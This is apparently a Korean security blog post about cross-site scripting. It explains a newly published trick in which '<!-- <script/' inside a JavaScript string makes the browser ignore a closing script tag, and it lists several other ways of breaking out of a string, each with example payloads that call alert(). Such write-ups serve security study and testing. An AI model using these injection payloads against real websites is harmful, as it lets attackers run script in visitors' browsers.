오늘 오후쯤 신기한 페이로드를 하나 찾아서 메모해뒀다가 글로 작성해봅니다. 아마도 자바스크립트 내부에 코드가 삽입되었지만 문자열을 탈출할 수 없을 때 사용할 수 있으며 이런 형태의 패턴이 들어가는 곳도 은근히 있을 것 같습니다.
XSS Payload
@_zulln이 최근에 신기한 XSS 페이로드를 하나 공개했습니다.
<script>
var test = "injection <!-- <script/";
</script>
<img src="</script><script>alert(origin)</script>">
눈으로 보기엔, test 변수에 injection <!-- <script/
값만 들어갈 것 같지만, 실제로 동작 시 닫는 스크립트가(</script>
) 무시되며 이를 이용해서 자바스크립트 내부에서 문자열 구간을 탈출하여 구문을 실행할 수 있습니다.
소스보기 하이라이팅도 저렇게 표기하네요. 개인적인 추측으론 <!--
로 인해서 뒤의 처리를 무시하려는 것 같은데, 정상적인 문법은 아닌지라 그냥 브라우저상의 처리 오류라고 보는게 어떨까 싶습니다.
Bypass string area
겸사겸사 자바스크립트 내부에서의 문자열 탈출 방법도 몇개 같이 써 봅니다.
with <!-- <script/
<script>
var test = "injection <!-- <script/";
</script>
<img src="</script><script>alert(origin)</script>">
with </script>
<script>
var test = "</script><svg/onload=alert(45)>"
</script>
with double quot and plus
<script>
var test = ""+alert(45)+""
// user input: "+alert(45)+"
</script>
with backslash
<script>
var test = "\", test1="+alert(45)//input2"
// Original: var test = "input1", test1="input2"
// user input1: \
// user input2: +alert(45)//
</script>